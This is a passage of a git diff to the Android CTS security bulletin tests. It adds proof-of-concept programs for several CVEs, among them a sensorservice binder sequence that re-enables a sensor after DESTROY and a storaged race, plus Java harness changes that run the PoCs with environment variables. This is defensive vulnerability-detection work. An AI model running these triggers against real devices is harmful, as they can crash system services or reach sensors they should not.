+#include <media/NdkMediaCodec.h>
+
+#define DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS 1000
+#define TOTAL_TIMEOUT_MICROSECONDS (300 * 1000 * 1000)
+#define FILE_SIZE 72
+#define VIDEO_MAX_WIDTH 176
+#define VIDEO_MAX_HEIGHT 144
+#endif /* _64_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *inFile = fopen(argv[1], "rb");
+ if (!inFile) {
+ return EXIT_FAILURE;
+ }
+ AMediaCodec *codec;
+ media_status_t status;
+ int64_t inActiveTime = 0ll;
+ bool isEncoder = false;
+
+ codec = AMediaCodec_createCodecByName("c2.android.av1-aom.decoder");
+ if (!codec) {
+ fclose(inFile);
+ return EXIT_FAILURE;
+ }
+ /* Set Format */
+ AMediaFormat *format = AMediaFormat_new();
+ if (!format) {
+ fclose(inFile);
+ AMediaCodec_delete(codec);
+ return EXIT_FAILURE;
+ }
+ AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, "video/av01");
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_MAX_INPUT_SIZE, FILE_SIZE);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_WIDTH, VIDEO_MAX_WIDTH);
+ AMediaFormat_setInt32(format, AMEDIAFORMAT_KEY_HEIGHT, VIDEO_MAX_HEIGHT);
+ AMediaCodec_configure(codec, format, nullptr, nullptr, isEncoder);
+ AMediaCodec_start(codec);
+
+ size_t filePos = 0;
+ bool inputEOS = false;
+ while (inActiveTime < TOTAL_TIMEOUT_MICROSECONDS) {
+ /* Queue input data */
+ if (!inputEOS) {
+ uint32_t bufferFlags = 0;
+ ssize_t inIdx =
+ AMediaCodec_dequeueInputBuffer(codec, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (inIdx >= 0) {
+ ssize_t bytesRead = 0;
+ size_t bufSize;
+ uint8_t *buf = AMediaCodec_getInputBuffer(codec, inIdx, &bufSize);
+ if (filePos < FILE_SIZE) {
+ bytesRead = fread(buf, 1, FILE_SIZE, inFile);
+ filePos += FILE_SIZE;
+ fseek(inFile, filePos, SEEK_SET);
+ }
+ if (bytesRead <= 0) {
+ bytesRead = 0;
+ inputEOS = true;
+ bufferFlags |= AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM;
+ }
+ status = AMediaCodec_queueInputBuffer(codec, inIdx, 0, bytesRead, 0, bufferFlags);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (inIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ /* Dequeue output */
+ AMediaCodecBufferInfo info;
+ ssize_t outIdx =
+ AMediaCodec_dequeueOutputBuffer(codec, &info, DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS);
+ if (outIdx == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED ||
+ outIdx == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
+ inActiveTime = 0;
+ } else if (outIdx >= 0) {
+ status = AMediaCodec_releaseOutputBuffer(codec, outIdx, false);
+ if (status != AMEDIA_OK) {
+ break;
+ }
+ if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
+ break;
+ }
+ inActiveTime = 0;
+ } else if (outIdx == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
+ inActiveTime += DEQUEUE_BUFFER_TIMEOUT_MICROSECONDS;
+ } else {
+ break;
+ }
+ }
+ AMediaFormat_delete(format);
+ AMediaCodec_stop(codec);
+ AMediaCodec_delete(codec);
+ fclose(inFile);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..b79224c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0313",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "frameworks/minikin/libs/",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+ // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+ // of LayoutSplitterTest.cpp
+ const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+ size_t offset = 0;
+ size_t len = sizeof(testCase) / sizeof(uint16_t);
+ return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+ ? EXIT_VULNERABLE
+ : EXIT_SUCCESS;
+}
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
index b8fbdea..2b63d91 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,13 +11,20 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+cc_test {
+ name: "CVE-2021-0318",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp"],
+ shared_libs: [
+ "libsensor",
+ "libsensorservice",
+ "libbinder",
+ "libutils",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wextra",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
new file mode 100644
index 0000000..cd67392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
@@ -0,0 +1,122 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+void poc(int handle) {
+ status_t err;
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
+ data.writeInt32(0 /*mode*/);
+ data.writeString16(String16("com.android.systemui"));
+ err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
+ printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
+
+ sp<IBinder> binder = reply.readStrongBinder();
+
+ if (binder) {
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ printf("ENABLE_DISABLE transact err %08x \n", err);
+ }
+
+ sleep(1);
+
+ {
+ Parcel data, reply;
+ String16 name = binder->getInterfaceDescriptor();
+ data.writeInterfaceToken(name);
+ err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
+ printf("DESTROY transact err %08x \n", err);
+ }
+
+ {
+ Parcel data, reply;
+ data.writeInterfaceToken(binder->getInterfaceDescriptor());
+ data.writeInt32(handle); // handle
+ data.writeInt32(1); // enabled
+ data.writeInt64(0); // samplingPeriodNs
+ data.writeInt64(989680); // maxBatchReportLatencyNs
+ data.writeInt32(0); // reservedFlags
+ err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+ if (reply.readInt32() == OK) {
+ // Success in enabling a sensor after destroy leads to
+ // security vulnerability.
+ exit(EXIT_VULNERABLE);
+ }
+ printf("ENABLE_DISABLE transact err %08x\n", err);
+ }
+ } else {
+ printf("binder is null!\n");
+ sleep(3);
+ }
+ }
+}
+
+void get_sensor_list() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ String16 name(String16("sensorservice"));
+ sp<IBinder> service = sm->getService(name);
+ if (service) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.gui.SensorServer"));
+ data.writeString16(String16("opPackageName"));
+ service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
+
+ Sensor s;
+ Vector<Sensor> v;
+ uint32_t n = reply.readUint32();
+ v.setCapacity(n);
+ while (n > 0) {
+ n--;
+ reply.read(s);
+ v.add(s);
+ String8 nm = s.getName();
+ std::string nstr = nm.string();
+ String8 vd = s.getVendor();
+ std::string vstr = vd.string();
+ int32_t handle = s.getHandle();
+ printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
+ poc(handle);
+ }
+ }
+}
+
+int main(int /* argc */, char** /* argv */) {
+ get_sensor_list();
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0330",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+
+ if (not service) {
+ return nullptr;
+ }
+
+ while (userId < kMaxUsers) {
+ Parcel data, reply;
+ data.writeInterfaceToken(service->getInterfaceDescriptor());
+ data.writeInt32(++userId);
+ service->transact(1, data, &reply, 0);
+ }
+
+ return nullptr;
+}
+
+int main() {
+ pthread_t threads[kMaxThreads];
+
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+ }
+ for (int t = 0; t < kMaxThreads; ++t) {
+ pthread_join(threads[t], nullptr);
+ }
+
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> service = sm->checkService(String16("storaged"));
+ if (service) {
+ break;
+ }
+ sleep(kSleepDuration);
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
index 6b85dba..c20e845 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/includes/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "cts_hostsidetests_securitybulletin_memutils",
srcs: [
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index 80e125f..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -172,14 +172,14 @@
#ifdef CHECK_UNINITIALIZED_MEMORY
bool is_memory_uninitialized() {
for (int i = 0; i < s_allocation_index; ++i) {
- char *mem_ptr = s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
size_t mem_size = s_allocation_list[i].mem_size;
if (mem_ptr) {
#ifdef CHECK_FOUR_BYTES
if(mem_size > (2 * sizeof(uint32_t))) {
- char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
- char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+ uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
for (size_t j = 0; j < sizeof(uint32_t); ++j) {
if (*mem_ptr_start++ == INITIAL_VAL) {
return true;
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
index 5887f2a..2d664aa 100644
--- a/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "pacrunner",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
index 393848d..0629ec3 100644
--- a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -20,15 +20,22 @@
#include <codecvt>
#include <fstream>
#include <iostream>
+#include "../includes/common.h"
const char16_t* spec = u"";
const char16_t* host = u"";
int main(int argc, char *argv[]) {
+ bool shouldRunMultipleTimes = false;
if (argc != 2) {
- std::cout << "incorrect number of arguments" << std::endl;
- std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
- return EXIT_FAILURE;
+ if (argc != 3) {
+ std::cout << "incorrect number of arguments" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac (or)" << std::endl;
+ std::cout << "usage: ./pacrunner mypac.pac true" << std::endl;
+ return EXIT_FAILURE;
+ } else {
+ shouldRunMultipleTimes = true;
+ }
}
ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
@@ -50,7 +57,10 @@
std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
- ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+ time_t currentTime = start_timer();
+ do {
+ ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+ } while (shouldRunMultipleTimes && timer_active(currentTime));
ProxyResolverV8Handle_delete(handle);
return EXIT_SUCCESS;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 0605b39..ae41c57 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -34,6 +34,7 @@
import java.io.OutputStream;
import java.util.concurrent.TimeoutException;
import java.util.List;
+import java.util.Map;
import java.util.regex.Pattern;
import java.util.concurrent.TimeUnit;
import java.util.Scanner;
@@ -60,6 +61,7 @@
public static class pocConfig {
String binaryName;
String arguments;
+ Map<String, String> envVars;
String inputFilesDestination;
ITestDevice device;
CrashUtils.Config config;
@@ -160,8 +162,28 @@
* @param arguments input arguments for the poc
* @param receiver the type of receiver to run against
*/
- public static void runPoc(String pocName, ITestDevice device, int timeout,
+ public static int runPoc(String pocName, ITestDevice device, int timeout,
String arguments, IShellOutputReceiver receiver) throws Exception {
+ return runPoc(pocName, device, timeout, arguments, null, receiver);
+ }
+
+ /**
+ * Pushes and runs a binary with arguments to the selected device and
+ * ignores any of its output.
+ *
+ * @param pocName name of the poc binary
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ * @param arguments input arguments for the poc
+ * @param envVars run the poc with environment variables
+ * @param receiver the type of receiver to run against
+ */
+ public static int runPoc(String pocName, ITestDevice device, int timeout,
+ String arguments, Map<String, String> envVars,
+ IShellOutputReceiver receiver) throws Exception {
+ String remoteFile = String.format("%s%s", TMP_PATH, pocName);
+ SecurityTestCase.getPocPusher(device).pushFile(pocName, remoteFile);
+
assertPocExecutable(pocName, device);
if (receiver == null) {
receiver = new NullOutputReceiver();
@@ -170,11 +192,26 @@
arguments = "";
}
+ String env = "";
+ if (envVars != null) {
+ StringBuilder sb = new StringBuilder();
+ for (Map.Entry<String, String> entry : envVars.entrySet()) {
+ sb
+ .append(entry.getKey().trim())
+ .append('=')
+ .append(entry.getValue().trim())
+ .append(' ');
+ }
+ env = sb.toString();
+ CLog.i("Running poc '%s' with env variables '%s'", pocName, env);
+ }
+
// since we have to return the exit status AND the poc stdout+stderr we redirect the exit
// status to a file temporarily
String exitStatusFilepath = TMP_PATH + "exit_status";
runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
- device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+ device.executeShellCommand(
+ env + TMP_PATH + pocName + " " + arguments +
"; echo $? > " + exitStatusFilepath, // echo exit status to file
receiver, timeout, TimeUnit.SECONDS, 0);
@@ -183,8 +220,9 @@
MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ int exitStatus = -1;
try {
- int exitStatus = Integer.parseInt(exitStatusString);
+ exitStatus = Integer.parseInt(exitStatusString);
reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
} catch (NumberFormatException e) {
// Getting the exit status is a bonus. We can continue without it.
@@ -193,6 +231,7 @@
reportLog.submit();
runCommandLine("rm " + exitStatusFilepath, device);
+ return exitStatus;
}
/**
@@ -406,26 +445,21 @@
*/
public static int runPocGetExitStatus(String pocName, String arguments, ITestDevice device,
int timeout) throws Exception {
- assertPocExecutable(pocName, device);
- CollectingOutputReceiver receiver = new CollectingOutputReceiver();
- String cmd = TMP_PATH + pocName + " " + arguments + " > /dev/null 2>&1; echo $?";
- long time = System.currentTimeMillis();
- device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
- time = System.currentTimeMillis() - time;
- String exitStatusString = receiver.getOutput().trim();
+ return runPocGetExitStatus(pocName, arguments, null, device, timeout);
+ }
- try {
- int exitStatus = Integer.parseInt(exitStatusString);
- MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
- reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
- return exitStatus;
- } catch (NumberFormatException e) {
- throw new IllegalArgumentException(String.format(
- "Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatusString, cmd, time));
- }
+ /**
+ * Pushes and runs a binary to the device and returns the exit status.
+ * @param pocName name of the poc binary
+ * @param arguments input arguments for the poc
+ * @param envVars run the poc with environment variables
+ * @param device device to be run on
+ * @param timeout time to wait for output in seconds
+ */
+ public static int runPocGetExitStatus(
+ String pocName, String arguments, Map<String, String> envVars,
+ ITestDevice device, int timeout) throws Exception {
+ return runPoc(pocName, device, timeout, arguments, envVars, null);
}
/**
@@ -448,8 +482,22 @@
*/
public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
ITestDevice device, int timeout) throws Exception {
+ runPocGetExitStatus(pocName, arguments, null, device, timeout);
+ }
+
+ /**
+ * Pushes and runs a binary and asserts that the exit status isn't 113: vulnerable.
+ * @param pocName name of the poc binary
+ * @param arguments input arguments for the poc
+ * @param envVars run the poc with environment variables
+ * @param device device to be ran on
+ * @param timeout time to wait for output in seconds
+ */
+ public static void runPocAssertExitStatusNotVulnerable(
+ String pocName, String arguments, Map<String, String> envVars,
+ ITestDevice device, int timeout) throws Exception {
assertTrue("PoC returned exit status 113: vulnerable",
- runPocGetExitStatus(pocName, arguments, device, timeout) != 113);
+ runPocGetExitStatus(pocName, arguments, envVars, device, timeout) != 113);
}
/**
@@ -459,9 +507,24 @@
* @param device device to be ran on
*/
public static int runProxyAutoConfig(String pacName, ITestDevice device) throws Exception {
+ return runProxyAutoConfig(pacName, null, device);
+ }
+
+ /**
+ * Runs the binary against a given proxyautoconfig file, asserting that it doesn't
+ * crash
+ * @param pacName the name of the proxy autoconfig script from the /res folder
+ * @param arguments input arguments for pacrunner
+ * @param device device to be ran on
+ */
+ public static int runProxyAutoConfig(String pacName, String arguments,
+ ITestDevice device) throws Exception {
pacName += ".pac";
String targetPath = TMP_PATH + pacName;
AdbUtils.pushResource("/" + pacName, targetPath, device);
+ if(arguments != null) {
+ targetPath += " " + arguments;
+ }
runPocAssertNoCrashes(
"pacrunner", device, targetPath,
new CrashUtils.Config().setProcessPatterns("pacrunner"));
@@ -578,8 +641,33 @@
public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
String inputFiles[], String inputFilesDestination, ITestDevice device,
String processPatternStrings[]) throws Exception {
+ runPocAssertNoCrashesNotVulnerable(binaryName, arguments, null,
+ inputFiles, inputFilesDestination, device, processPatternStrings);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 3 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. There are no security crashes that match the expected process pattern.
+ * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param binaryName name of the binary
+ * @param arguments arguments for running the binary
+ * @param envVars run the poc with environment variables
+ * @param inputFiles files required as input
+ * @param inputFilesDestination destination directory to which input files are
+ * pushed
+ * @param device device to be run on
+ * @param processPatternStrings a Pattern string (other than binary name) to match the crash
+ * tombstone process
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(
+ String binaryName, String arguments, Map<String, String> envVars,
+ String inputFiles[], String inputFilesDestination, ITestDevice device,
+ String... processPatternStrings) throws Exception {
pocConfig testConfig = new pocConfig(binaryName, device);
testConfig.arguments = arguments;
+ testConfig.envVars = envVars;
if (inputFiles != null) {
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -616,7 +704,7 @@
runCommandLine("logcat -c", testConfig.device);
try {
runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
- testConfig.device, TIMEOUT_SEC);
+ testConfig.envVars, testConfig.device, TIMEOUT_SEC);
} catch (IllegalArgumentException e) {
/*
* Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
new file mode 100644
index 0000000..e6e1015
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+import static org.junit.Assume.assumeFalse;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_2182 extends SecurityTestCase {
+
+ /**
+ * b/32096880
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2017-03")
+ @Test
+ public void testPocCVE_2016_2182() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
+ String binaryName = "CVE-2016-2182";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.checkMinAddress(false);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
new file mode 100644
index 0000000..b75dd3a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_6328.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2016_6328 extends SecurityTestCase {
+
+ /**
+ * b/162602132
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2016_6328() throws Exception {
+ pocPusher.only32();
